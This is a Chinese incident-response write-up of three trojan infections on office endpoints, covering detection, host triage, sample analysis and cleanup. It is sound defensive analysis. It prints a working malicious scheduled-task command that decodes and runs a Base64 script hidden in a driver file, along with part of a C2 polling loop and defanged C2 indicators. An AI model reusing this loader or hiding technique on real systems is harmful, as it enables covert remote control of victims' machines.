前言
从去年护网开始,到今年陆续接到多起终端侧应急工单。本文选取其中三起较有代表性的案例做复盘,重点记录从告警线索、主机排查、样本分析到最终处置闭环的过程。
为便于公开分享,文中涉及的内网地址、设备标识、部分路径和日志字段已做脱敏处理;恶意域名和 URL 仅作为 IOC 展示,请勿直接访问。
| 案例 | 初始现象 | 关键线索 | 持久化方式 | 处置结论 |
|---|---|---|---|---|
| 案例一 | PowerShell 周期性外联 | wscript.exe、计划任务、隐藏在驱动文件中的 Base64 脚本 |
异常计划任务 | 用户下载并运行未知来源文件后导致终端被控 |
| 案例二 | 办公终端周期性连接 C2 | Server_Protected.exe、浏览器下载记录、伪装工具释放链 |
自启动项 / 释放持久化进程 | 伪装工具释放远控程序并建立外联 |
| 案例三 | 疑似银狐类远控告警 | 随机目录载荷、Startup LNK、cmd.exe 守护进程 |
Startup LNK / 守护进程 | 银狐类远控通过白加黑和守护机制维持驻留 |
案例
案例一
2025年护网期间,收到省公司的工单,IP:10.*.*.139有外联动作。
根据外联IP:34.41.139.193找到木马PID:14548
根据PID找到发起该请求的可执行文件为powershell.exe,猜测为其他可疑进程启动powershell进行外联。
在使用QDoctor进行排查时,发现可疑的计划任务。
| TaskPath | ImagePat | Arguments |
|---|---|---|
\Microsoft\Windows\Management\Provisioning\l3VNu\10024F97--5D32-4300-9B58-8718A489CCCB |
wscript.exe |
见下方执行参数 |
任务计划路径\Microsoft\Windows\Management\Provisioning\ 属于 Windows 的 OOBE(开箱即用体验)Provisioning系统,用于设备首次设置时的自动化配置。
正常情况下,这个路径下的任务是有系统管理员和运维人员进行配置的。名称清晰可读,具备特殊的任务含义,而不会是一段随机不可读的字符串。
可执行文件 wscript.exe 是 Windows 系统自带的合法程序,位于 C:\Windows\System32\wscript.exe,主要用于执行 VBScript 或 JScript 脚本文件(.vbs、.js)。
该计划任务后面的执行参数如下:
1 | /e:vbscript /b "C:\Windows\System32\LDCl3VNu\506E6B6D-FB69-4076-AD3D-1CB4960A129C" "n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\LTm1HwFLdi\53458C99-2485-42DF-B114-B17668B65928.sys'), 2046404, 422); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))" |
该代码块的作用为,从2046404位开始读取驱动文件C:\Windows\System32\drivers\LTm1HwFLdi\53458C99-2485-42DF-B114-B17668B65928.sys,读取长度为422。
将读取到的数据进行base64解码,最后通过Invoke-Command去执行命令、从而达到恶意效果。
使用 Python 3 模拟上述流程,并解析该数据。
1 | import os |
执行后得到一串base64编码
1 | d2hpbGUgKCR0cnVlKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHIgPSBJbnZva2UtUmVzdE1l |
1 | while ($true) { |
这段恶意代码通过无限循环(while ($true))向 C2 地址发起请求,间隔约 2 秒。如果服务端返回内容不为空,就将返回内容作为 PowerShell 脚本块执行。
IOC 展示如下,已做 defang 处理:
1 | hxxp://counter[.]wmail-service[.]com/v1/04212F28-9C63-4B6B-BB8F-E7031E6D32A8?v=Downloads_Counter201 |
对比工单中的日志内容,也指向同一域名:counter[.]wmail-service[.]com
日志头已脱敏:
1 | <158>Jul 02 10:18:56 安全平台 SyslogClient[1]: 2025-07-02 10:18:56|!132.*.*.x|!ioc_alert_log|! |
1 | { |
结合外联告警、计划任务、脚本解码结果和用户侧下载行为,基本可以确认该终端因运行未知来源文件而被植入远控木马。
此时就进入系统任务计划,删除对应计划任务。
并删除了木马及配置文件。
通过公开资料检索,发现早在 2022 年就已经出现过类似手法。
受害者下载了含有后门的ExcelAnalyzer,并运行了恶意激活程序patch.exe。
案例二
在护网期间,发现某办公终端约每 5 秒向外部地址 212.64.26.241 通联一次,该行为特征类似 C2 心跳。
上机排查时,发现了疑似恶意的进程。
通过外联 IP 212.64.26.241 定位到可疑进程 PID:16956
1 | netstat -ano | findstr 8088 |
获取到该进程的可执行文件路径为:C:\Windows\Server_Protected.exe,其文件的修改日期为:2025/6/6 16:30
木马文件MD5为:
1 | 30c83d5994c24a5ecf8e12e026b7ebae |
在对受害员工主机的注册表进行排查时,发现了疑似恶意的自启动注册表键值。
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce |
在排查过程中一直没办法确定该注册表是通过什么方式添加的,以及无法确定攻击者的攻击手法。
在继续排查 Chrome 浏览器历史访问记录和下载记录时,发现了新的关联线索。
发现疑似恶意木马文件的下载记录,下载日期为2025年6月6日,与发起外连的恶意进程Server_Protected.exe的日期是同一天。
读取 Chrome 浏览器中的 SQLite 数据库。
该数据库会记录访问历史和下载记录,其中包含用户下载文件时的开始时间、完成时间等字段。
1 | %LocalAppData%\Google\Chrome\User Data\Default\History |
开始时间戳为
1 | 13393672204449719 |
该值长度为 17,是 Chrome History 中常见的 WebKit 时间戳格式,单位为微秒。
Chrome/WebKit 时间戳以 1601-01-01 00:00:00 UTC 为起点,转换时需要先换算到 Unix Epoch,再按微秒单位处理。这里为了快速核对时间,使用在线工具辅助转换。
1 | hxxp://daokeyou.top/ |
得到时间为 2025-06-06 16:30:04
与发起外连的恶意进程Server_Protected.exe的时间相对应。因此确定两者关联性。
后续通过该终端使用者获取到恶意样本。
通过微步分析 取CK查封号.exe 的执行流程,最终确定 Server_Protected.exe 是由该伪装工具释放出来的持久化进程。
后续处置流程为删除恶意程序、终止恶意进程,并清理相关自启动项。
同类的其他样本https://x.threatbook.com/v5/ip/212.64.26.241
案例三
收到工单后,初始情报指向疑似银狐类远控活动,但缺少更详细的 IOC 和攻击链信息,因此直接对终端进行排查。
通过进程枚举及路径审查,发现运行于非常规目录的可疑进程。该进程的文件描述伪装为 Java 相关信息,实际路径位于用户公共目录下的随机命名文件夹,符合常见恶意软件藏匿特征:
1 | C:\Users\Public\Videos\5PStV1eb\uTJhEApp.exe |
将样本提交至微步云沙箱进行情报碰撞,鉴定结论为银狐家族远控木马,且已回连 C2 服务器,符合银狐类黑产远控样本特征。
分析可执行文件的 DLL 导入表(Import Table),可依据调用模块初步推测其能力方向:
| DLL 模块 | 功能分类 | 可能对应的恶意行为 |
|---|---|---|
| WS2_32.dll / WTSAPI32.dll | 网络通信 + 远程会话 | C2 通信、远程桌面会话劫持 |
| ADVAPI32.dll / secur32.dll | 系统权限 + 安全操作 | 提权、注册表读写、凭据访问 |
| ole32.dll / combase.dll | COM 组件调用 | 文件操作、进程注入、持久化 |
| user32.dll / gdi32.dll | 用户界面 + 屏幕操作 | 屏幕截图、键盘记录、窗口控制 |
| advapi32.dll / bcrypt.dll | 加密与安全 | 数据加密回传、C2 加密通信 |
结合沙箱结论、外联行为和导入表特征,可以判断该样本具备远程控制、权限维持、加密通信等能力迹象。屏幕截图、键盘记录、窗口控制等能力仍需结合动态行为进一步确认。
首先尝试终止恶意进程树,但观察到进程会立即重启,说明攻击者已部署持久化机制或守护进程。
进一步检查开机自启动目录,发现如下恶意 LNK 文件。其创建时间为 2026-03-25 16:36,与载荷目录创建时间接近,可确认为持久化入口:
1 | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FaCveHBxNsOogrs.lnkkDOrxBE |
删除 LNK 自启动文件后,该文件立即被重建。随后使用 Process Monitor 挂载文件系统过滤器,监听该路径下的 CreateFile 事件,捕获到重建该 LNK 的进程 PID 为 11636:
在任务管理器中回溯 PID 11636,获取到其完整命令行:
1 | "C:\Windows\SysWOW64\cmd.exe" "C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81" |
攻击者利用 SysWOW64 下的 cmd.exe 作为宿主进程,通过合法进程加载名为 lrNqnk81 的载荷。该载荷位于搜狗输入法安装目录,形成白加黑 / DLL Side-Loading 伪装:
尝试直接终止该 cmd.exe 守护进程时,发现进程受 TrustedInstaller 服务保护,普通管理员权限无法终止。攻击者通过启动 TrustedInstaller 服务并窃取其令牌,实现了进程保护。
处置方案:以 TrustedInstaller 令牌借用方式(如 PowerRun / NSudo -TI)终止该进程,或先停止 TrustedInstaller 服务后,再终止该 cmd 进程。
按以下顺序清理,确保持久化链条整体失效:
- 终止受
TrustedInstaller保护的cmd.exe守护进程(PID 11636); - 删除 Startup 目录下所有
FaCveHBxNs*.lnk恶意自启动项; - 终止载荷目录
C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81下所有 exe 进程; - 删除恶意载荷目录及
C:\Users\Public\Videos\5PStV1eb整个木马目录; - 验证所有恶意进程不再重启。
在日志流量平台上进行验证
结合文件系统 MACB 时间与流量时间对比:
| 时间节点 | 时间 | 含义 |
|---|---|---|
| 最早恶意文件创建 | 2026-03-24 | 攻击者初始植入 |
| LNK 自启动项创建 | 2026-03-25 16:36 | 持久化部署 |
| 首次 C2 回连 | 2026-03-27 20:57:12 | 进入 C2 通信阶段 |
结论:攻击者在植入后进入潜伏期,约 3 天后才激活 C2 通信,疑似用于规避检测或等待后续指令。
总结
这三起事件虽然样本和手法不同,但排查思路基本一致:先从外联告警或可疑进程入手,定位进程、命令行、父子进程关系和落地文件,再继续追踪计划任务、注册表、Startup 目录、浏览器下载记录等持久化与初始执行线索,最后结合流量日志、沙箱结果和主机时间线完成闭环。
IOC 汇总
| 类型 | IOC |
|---|---|
| 域名 | counter[.]wmail-service[.]com |
| URL | hxxp://counter[.]wmail-service[.]com/v1/04212F28-9C63-4B6B-BB8F-E7031E6D32A8?v=Downloads_Counter201 |
| IP | 34.*.*.193、212.64.26.241 |
| MD5 | 30c83d5994c24a5ecf8e12e026b7ebae |
| 可疑进程 | Server_Protected.exe、uTJhEApp.exe、cmd.exe |
| 可疑路径 | C:\Windows\Server_Protected.exe、C:\Users\Public\Videos\5PStV1eb\、C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81 |
排查关注点
- 对
powershell.exe、wscript.exe、cmd.exe等系统解释器类进程建立父子进程和命令行审计。 - 重点关注随机命名目录、公共用户目录、输入法/办公软件目录下的异常载荷。
- 排查持久化时同时检查计划任务、
Run/RunOnce注册表、Startup 目录和异常服务。 - 对浏览器下载记录、文件创建时间、流量首次出现时间做交叉验证,尽量还原初始执行链路。
- 对疑似白加黑样本,不只关注 exe,也要检查同目录下的无扩展名文件、DLL 和被加载的载荷文件。
防护建议
- 限制办公终端直接访问未知来源下载站点,增强浏览器下载审计和告警。
- 对
wscript.exe、powershell.exe周期性外联、下载执行、Base64 解码执行等行为建立检测规则。 - 对计划任务路径、Startup 目录和
RunOnce注册表新增项进行基线监控。 - 对
TrustedInstaller令牌滥用、异常启动和被借用行为进行安全审计。 - 对终端用户加强未知工具、破解工具、外挂工具的安全提醒,降低用户主动执行恶意文件的概率。